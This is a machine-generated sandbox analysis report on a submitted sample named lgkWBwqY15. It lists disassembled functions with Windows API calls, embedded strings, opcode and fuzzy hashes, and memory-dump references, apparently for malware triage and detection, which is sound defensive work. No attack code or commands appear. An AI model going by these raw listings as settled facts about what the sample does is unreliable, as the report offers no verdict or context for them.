                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: ItemMenu$Info$CheckCountRadioSleep_memset
                                                                                      • String ID:
                                                                                      • API String ID: 4176008265-0
                                                                                      • Opcode ID: b1def833ad2fcff9785bf0723a0ae5ef171ba674694277a71b1190b91b149a4a
                                                                                      • Instruction ID: f45c23306a7faa04e310bbbdf7a39c650df3154cc74c02189e3a3c830990c53f
                                                                                      • Opcode Fuzzy Hash: b1def833ad2fcff9785bf0723a0ae5ef171ba674694277a71b1190b91b149a4a
                                                                                      • Instruction Fuzzy Hash: A5618AB19002D9AFDB28CFA5D888AAE7FA9FB45708F140459F491A7291E770AD05CF21
                                                                                      Function 00609C16 Relevance: 16.7, APIs: 11, Instructions: 183windowCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • SendMessageW.USER32(?,0000101F,00000000,00000000), ref: 00609C98
                                                                                      • SendMessageW.USER32(00000000,?,0000101F,00000000), ref: 00609C9B
                                                                                      • GetWindowLongW.USER32(?,000000F0), ref: 00609CBF
                                                                                      • _memset.LIBCMT ref: 00609CD0
                                                                                      • SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00609CE2
                                                                                      • SendMessageW.USER32(?,0000104D,00000000,00000007), ref: 00609D5A
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: MessageSend$LongWindow_memset
                                                                                      • String ID:
                                                                                      • API String ID: 830647256-0
                                                                                      • Opcode ID: 0a1b192513e4655a81636c1f82cc32bd93b3210681c4eb5c8a9f9c189cabd434
                                                                                      • Instruction ID: c701ffc97ed82fe314a110969bce7afb211691228b0410b992dfc562f51db0ad
                                                                                      • Opcode Fuzzy Hash: 0a1b192513e4655a81636c1f82cc32bd93b3210681c4eb5c8a9f9c189cabd434
                                                                                      • Instruction Fuzzy Hash: 03615975940208AFDB14DFA8CC81EEE77BAAF09704F144159FA05EB2E2D770AD42DB60
                                                                                      Function 005D94E1 Relevance: 16.6, APIs: 11, Instructions: 109memoryCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • SafeArrayAllocDescriptorEx.OLEAUT32(0000000C,00000000,?), ref: 005D94FE
                                                                                      • SafeArrayAllocData.OLEAUT32(?), ref: 005D9549
                                                                                      • VariantInit.OLEAUT32(?), ref: 005D955B
                                                                                      • SafeArrayAccessData.OLEAUT32(?,?), ref: 005D957B
                                                                                      • VariantCopy.OLEAUT32(?,?), ref: 005D95BE
                                                                                      • SafeArrayUnaccessData.OLEAUT32(?), ref: 005D95D2
                                                                                      • VariantClear.OLEAUT32(?), ref: 005D95E7
                                                                                      • SafeArrayDestroyData.OLEAUT32(?), ref: 005D95F4
                                                                                      • SafeArrayDestroyDescriptor.OLEAUT32(?), ref: 005D95FD
                                                                                      • VariantClear.OLEAUT32(?), ref: 005D960F
                                                                                      • SafeArrayDestroyDescriptor.OLEAUT32(?), ref: 005D961A
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: ArraySafe$DataVariant$DescriptorDestroy$AllocClear$AccessCopyInitUnaccess
                                                                                      • String ID:
                                                                                      • API String ID: 2706829360-0
                                                                                      • Opcode ID: dc0abab6dedb197ed85642493c5d1ae81d877c1a01d5feb184bd1cf204bd1b4b
                                                                                      • Instruction ID: 69a5327b5a2f9f488bdd2c65d36fb18f04d93312ea610421bc59b0c4d12b4908
                                                                                      • Opcode Fuzzy Hash: dc0abab6dedb197ed85642493c5d1ae81d877c1a01d5feb184bd1cf204bd1b4b
                                                                                      • Instruction Fuzzy Hash: 7C413135900219AFCB11EFA8D8489DEBFB9FF48354F108466F511E7251DB31EA46CBA1
                                                                                      Function 005FBB08 Relevance: 16.0, APIs: 5, Strings: 4, Instructions: 264COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: Variant$ClearInit$_memset
                                                                                      • String ID: Incorrect Object type in FOR..IN loop$Null Object assignment in FOR..IN loop$h?e$|?e
                                                                                      • API String ID: 2862541840-759743994
                                                                                      • Opcode ID: 49391941ad795ab3df218d83efd331c38487576bd262c20e00505064a9cf5821
                                                                                      • Instruction ID: 58dd4a84a9b0e475645f97ddafad61beaad819923a170f92eb2207f339fae5de
                                                                                      • Opcode Fuzzy Hash: 49391941ad795ab3df218d83efd331c38487576bd262c20e00505064a9cf5821
                                                                                      • Instruction Fuzzy Hash: 77919E71A00219EBEF24DF95C848FAEBBB8FF85710F108559FA15AB281D7749944CBA0
                                                                                      Function 005FADAE Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 197comCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                        • Part of subcall function 005A936C: __swprintf.LIBCMT ref: 005A93AB
                                                                                        • Part of subcall function 005A936C: __itow.LIBCMT ref: 005A93DF
                                                                                      • CoInitialize.OLE32 ref: 005FADF6
                                                                                      • CoUninitialize.OLE32 ref: 005FAE01
                                                                                      • CoCreateInstance.OLE32(?,00000000,00000017,0062D8FC,?), ref: 005FAE61
                                                                                      • IIDFromString.OLE32(?,?), ref: 005FAED4
                                                                                      • VariantInit.OLEAUT32(?), ref: 005FAF6E
                                                                                      • VariantClear.OLEAUT32(?), ref: 005FAFCF
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: Variant$ClearCreateFromInitInitializeInstanceStringUninitialize__itow__swprintf
                                                                                      • String ID: Failed to create object$Invalid parameter$NULL Pointer assignment
                                                                                      • API String ID: 834269672-1287834457
                                                                                      • Opcode ID: 36b1c9602ce497be3d46f93c42216ebab4360e90c3f89a816048d07b5e5bee08
                                                                                      • Instruction ID: bf8455d8be715072303c3b51debb4205c42f25e4d29cbe870ded1083a92eb282
                                                                                      • Opcode Fuzzy Hash: 36b1c9602ce497be3d46f93c42216ebab4360e90c3f89a816048d07b5e5bee08
                                                                                      • Instruction Fuzzy Hash: 25619CB12087169FD711DF54C848B6EBBE8BF89714F104809FA899B291D778ED48CB93
                                                                                      Function 005F8107 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 163networkfileCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • WSAStartup.WSOCK32(00000101,?), ref: 005F8168
                                                                                      • inet_addr.WSOCK32(?,?,?), ref: 005F81AD
                                                                                      • gethostbyname.WSOCK32(?), ref: 005F81B9
                                                                                      • IcmpCreateFile.IPHLPAPI ref: 005F81C7
                                                                                      • IcmpSendEcho.IPHLPAPI(?,?,?,00000005,00000000,?,00000029,00000FA0), ref: 005F8237
                                                                                      • IcmpSendEcho.IPHLPAPI(00000000,00000000,?,00000005,00000000,?,00000029,00000FA0), ref: 005F824D
                                                                                      • IcmpCloseHandle.IPHLPAPI(00000000), ref: 005F82C2
                                                                                      • WSACleanup.WSOCK32 ref: 005F82C8
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: Icmp$EchoSend$CleanupCloseCreateFileHandleStartupgethostbynameinet_addr
                                                                                      • String ID: Ping
                                                                                      • API String ID: 1028309954-2246546115
                                                                                      • Opcode ID: 521ec9aaf7c3090488f4ed4a1fb911ee1e54188397bd194dab7acd08773e56bf
                                                                                      • Instruction ID: fe9cbe2b140372789452e230c5dc8079c78c3726191b098688f1861e00e1c6c2
                                                                                      • Opcode Fuzzy Hash: 521ec9aaf7c3090488f4ed4a1fb911ee1e54188397bd194dab7acd08773e56bf
                                                                                      • Instruction Fuzzy Hash: 7851AE356007059FDB20AF64CC49B7ABFE5BF88310F048969FA66DB2A0DB74E801CB41
                                                                                      Function 005EE389 Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 97COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • SetErrorMode.KERNEL32(00000001), ref: 005EE396
                                                                                      • GetDiskFreeSpaceW.KERNEL32(?,?,?,?,?,00000002,00000001), ref: 005EE40C
                                                                                      • GetLastError.KERNEL32 ref: 005EE416
                                                                                      • SetErrorMode.KERNEL32(00000000,READY), ref: 005EE483
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: Error$Mode$DiskFreeLastSpace
                                                                                      • String ID: INVALID$NOTREADY$READONLY$READY$UNKNOWN
                                                                                      • API String ID: 4194297153-14809454
                                                                                      • Opcode ID: 10ab7f0a65c725a3cf3c232230b74586c83a7239648ca020d9c15e05b739d21d
                                                                                      • Instruction ID: f84f64d046c45a22c4d86b9e3c685903c8069929f1cf2a3bf451c4fb369d9b4d
                                                                                      • Opcode Fuzzy Hash: 10ab7f0a65c725a3cf3c232230b74586c83a7239648ca020d9c15e05b739d21d
                                                                                      • Instruction Fuzzy Hash: 1831B235A0024A9FCB05EF69C84AABDBFB4FF49740F148425E945A72D1DB709A02C751
                                                                                      Function 005DB907 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 81windowCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • SendMessageW.USER32(?,0000018C,000000FF,00000002), ref: 005DB98C
                                                                                      • GetDlgCtrlID.USER32 ref: 005DB997
                                                                                      • GetParent.USER32 ref: 005DB9B3
                                                                                      • SendMessageW.USER32(00000000,?,00000111,?), ref: 005DB9B6
                                                                                      • GetDlgCtrlID.USER32(?), ref: 005DB9BF
                                                                                      • GetParent.USER32(?), ref: 005DB9DB
                                                                                      • SendMessageW.USER32(00000000,?,?,00000111), ref: 005DB9DE
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: MessageSend$CtrlParent
                                                                                      • String ID: ComboBox$ListBox
                                                                                      • API String ID: 1383977212-1403004172
                                                                                      • Opcode ID: f44039e79c0144dd338690ea6abd122315903ddcf18d2a2a88ba9fdff23844ff
                                                                                      • Instruction ID: 586770f2905fa97a7e1417e40ac92ab949eeba064da6fe6ed191fd6dfd5a2c09
                                                                                      • Opcode Fuzzy Hash: f44039e79c0144dd338690ea6abd122315903ddcf18d2a2a88ba9fdff23844ff
                                                                                      • Instruction Fuzzy Hash: 9921C475900109BFDB14ABA4CC95EBEBFB6FB46300F100116F55197291DB755816DB60
                                                                                      Function 005DB9F0 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 80windowCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • SendMessageW.USER32(?,00000186,00000002,00000000), ref: 005DBA73
                                                                                      • GetDlgCtrlID.USER32 ref: 005DBA7E
                                                                                      • GetParent.USER32 ref: 005DBA9A
                                                                                      • SendMessageW.USER32(00000000,?,00000111,?), ref: 005DBA9D
                                                                                      • GetDlgCtrlID.USER32(?), ref: 005DBAA6
                                                                                      • GetParent.USER32(?), ref: 005DBAC2
                                                                                      • SendMessageW.USER32(00000000,?,?,00000111), ref: 005DBAC5
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: MessageSend$CtrlParent
                                                                                      • String ID: ComboBox$ListBox
                                                                                      • API String ID: 1383977212-1403004172
                                                                                      • Opcode ID: 86f3adeffc0e7fa9b9d17e69e8a07c4dd68fe09f4a283ae253610940e52a735f
                                                                                      • Instruction ID: 4d65e0ad29b7ae7d5550c11bbde557c01da17cc074fc3f807f97c6355919d09b
                                                                                      • Opcode Fuzzy Hash: 86f3adeffc0e7fa9b9d17e69e8a07c4dd68fe09f4a283ae253610940e52a735f
                                                                                      • Instruction Fuzzy Hash: C321C575900109BFEB11ABA4CC85EFEBFBAFF45300F140016F55197291DB79591ADB60
                                                                                      Function 005DBAD7 Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 71windowCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • GetParent.USER32 ref: 005DBAE3
                                                                                      • GetClassNameW.USER32(00000000,?,00000100), ref: 005DBAF8
                                                                                      • _wcscmp.LIBCMT ref: 005DBB0A
                                                                                      • SendMessageW.USER32(00000000,00000111,0000702B,00000000), ref: 005DBB85
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: ClassMessageNameParentSend_wcscmp
                                                                                      • String ID: SHELLDLL_DefView$details$largeicons$list$smallicons
                                                                                      • API String ID: 1704125052-3381328864
                                                                                      • Opcode ID: 6559c6d5720434a7d87dbee8920404144026ce1f67612e4af2ba36fca74d56f9
                                                                                      • Instruction ID: f86a5c4bb2b2e2966bf42e021c54522b0538253fbff3c9e899edfc8a47780577
                                                                                      • Opcode Fuzzy Hash: 6559c6d5720434a7d87dbee8920404144026ce1f67612e4af2ba36fca74d56f9
                                                                                      • Instruction Fuzzy Hash: 4B11E376608307FEFA306638DC1ADA63F9FAB52724F21002BF904E41D5EBA1A9514554
                                                                                      Function 005FB2A9 Relevance: 15.3, APIs: 10, Instructions: 324fileCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • VariantInit.OLEAUT32(?), ref: 005FB2D5
                                                                                      • CoInitialize.OLE32(00000000), ref: 005FB302
                                                                                      • CoUninitialize.OLE32 ref: 005FB30C
                                                                                      • GetRunningObjectTable.OLE32(00000000,?), ref: 005FB40C
                                                                                      • SetErrorMode.KERNEL32(00000001,00000029), ref: 005FB539
                                                                                      • CoGetInstanceFromFile.OLE32(00000000,?,00000000,00000015,00000002), ref: 005FB56D
                                                                                      • CoGetObject.OLE32(?,00000000,0062D91C,?), ref: 005FB590
                                                                                      • SetErrorMode.KERNEL32(00000000), ref: 005FB5A3
                                                                                      • SetErrorMode.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 005FB623
                                                                                      • VariantClear.OLEAUT32(0062D91C), ref: 005FB633
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: ErrorMode$ObjectVariant$ClearFileFromInitInitializeInstanceRunningTableUninitialize
                                                                                      • String ID:
                                                                                      • API String ID: 2395222682-0
                                                                                      • Opcode ID: 3b21ad1b64200b66bfd155a8d44c2c0fc5dc3dec126efc1e0494a3d6d61dd05c
                                                                                      • Instruction ID: 759ced5d4ccbce0632ed015050f6d8a62751603281c0307b1110fa738f4dce64
                                                                                      • Opcode Fuzzy Hash: 3b21ad1b64200b66bfd155a8d44c2c0fc5dc3dec126efc1e0494a3d6d61dd05c
                                                                                      • Instruction Fuzzy Hash: C1C103B1608305EFD700DF68C88896ABBE9BF89348F04491DF68ADB251DB75ED05CB52
                                                                                      Function 005CACB3 Relevance: 15.2, APIs: 10, Instructions: 219COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • __lock.LIBCMT ref: 005CACC1
                                                                                        • Part of subcall function 005C7CF4: __mtinitlocknum.LIBCMT ref: 005C7D06
                                                                                        • Part of subcall function 005C7CF4: EnterCriticalSection.KERNEL32(00000000,?,005C7ADD,0000000D), ref: 005C7D1F
                                                                                      • __calloc_crt.LIBCMT ref: 005CACD2
                                                                                        • Part of subcall function 005C6986: __calloc_impl.LIBCMT ref: 005C6995
                                                                                        • Part of subcall function 005C6986: Sleep.KERNEL32(00000000,000003BC,005BF507,?,0000000E), ref: 005C69AC
                                                                                      • @_EH4_CallFilterFunc@8.LIBCMT ref: 005CACED
                                                                                      • GetStartupInfoW.KERNEL32(?,00656E28,00000064,005C5E91,00656C70,00000014), ref: 005CAD46
                                                                                      • __calloc_crt.LIBCMT ref: 005CAD91
                                                                                      • GetFileType.KERNEL32(00000001), ref: 005CADD8
                                                                                      • InitializeCriticalSectionAndSpinCount.KERNEL32(0000000D,00000FA0), ref: 005CAE11
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: CriticalSection__calloc_crt$CallCountEnterFileFilterFunc@8InfoInitializeSleepSpinStartupType__calloc_impl__lock__mtinitlocknum
                                                                                      • String ID:
                                                                                      • API String ID: 1426640281-0
                                                                                      • Opcode ID: cf82bdbc81862d67f73dad6d76095083ba95d08fd0f3bfb72acea6ef37555aa2
                                                                                      • Instruction ID: 4dfbc9a5584cca7bb486e1abcad00e8f3b20f28dd2b91af875014c04dde57fe4
                                                                                      • Opcode Fuzzy Hash: cf82bdbc81862d67f73dad6d76095083ba95d08fd0f3bfb72acea6ef37555aa2
                                                                                      • Instruction Fuzzy Hash: AD81F77090574A8FDB24CFA8C844AADBFF5BF45328B24525DD4A6AB3D1C7349803CB95
                                                                                      Function 005E4025 Relevance: 15.1, APIs: 10, Instructions: 88threadCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • GetCurrentThreadId.KERNEL32 ref: 005E4047
                                                                                      • GetForegroundWindow.USER32(00000000,?,?,?,?,?,005E30A5,?,00000001), ref: 005E405B
                                                                                      • GetWindowThreadProcessId.USER32(00000000), ref: 005E4062
                                                                                      • AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,?,005E30A5,?,00000001), ref: 005E4071
                                                                                      • GetWindowThreadProcessId.USER32(?,00000000), ref: 005E4083
                                                                                      • AttachThreadInput.USER32(?,00000000,00000001,?,?,?,?,?,005E30A5,?,00000001), ref: 005E409C
                                                                                      • AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,?,005E30A5,?,00000001), ref: 005E40AE
                                                                                      • AttachThreadInput.USER32(00000000,00000000,?,?,?,?,?,005E30A5,?,00000001), ref: 005E40F3
                                                                                      • AttachThreadInput.USER32(?,?,00000000,?,?,?,?,?,005E30A5,?,00000001), ref: 005E4108
                                                                                      • AttachThreadInput.USER32(00000000,?,00000000,?,?,?,?,?,005E30A5,?,00000001), ref: 005E4113
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: Thread$AttachInput$Window$Process$CurrentForeground
                                                                                      • String ID:
                                                                                      • API String ID: 2156557900-0
                                                                                      • Opcode ID: 419d3b4715a6a27e76127d3d38a3638cb522e58eba693f48e2c5209f4211ca63
                                                                                      • Instruction ID: 0caf2ff8535d10476a24a7116f28676a09979676f21792f62f16b466186c580c
                                                                                      • Opcode Fuzzy Hash: 419d3b4715a6a27e76127d3d38a3638cb522e58eba693f48e2c5209f4211ca63
                                                                                      • Instruction Fuzzy Hash: F731A071900754AFDB28DF56DC8AB697BABBBA4351F109019F944E6390CBB4DE80CF60
                                                                                      Function 0061DD4A Relevance: 15.1, APIs: 10, Instructions: 59windowCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • GetSysColor.USER32(00000008), ref: 005BB496
                                                                                      • SetTextColor.GDI32(?,000000FF), ref: 005BB4A0
                                                                                      • SetBkMode.GDI32(?,00000001), ref: 005BB4B5
                                                                                      • GetStockObject.GDI32(00000005), ref: 005BB4BD
                                                                                      • GetClientRect.USER32(?), ref: 0061DD63
                                                                                      • SendMessageW.USER32(?,00001328,00000000,?), ref: 0061DD7A
                                                                                      • GetWindowDC.USER32(?), ref: 0061DD86
                                                                                      • GetPixel.GDI32(00000000,?,?), ref: 0061DD95
                                                                                      • ReleaseDC.USER32(?,00000000), ref: 0061DDA7
                                                                                      • GetSysColor.USER32(00000005), ref: 0061DDC5
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
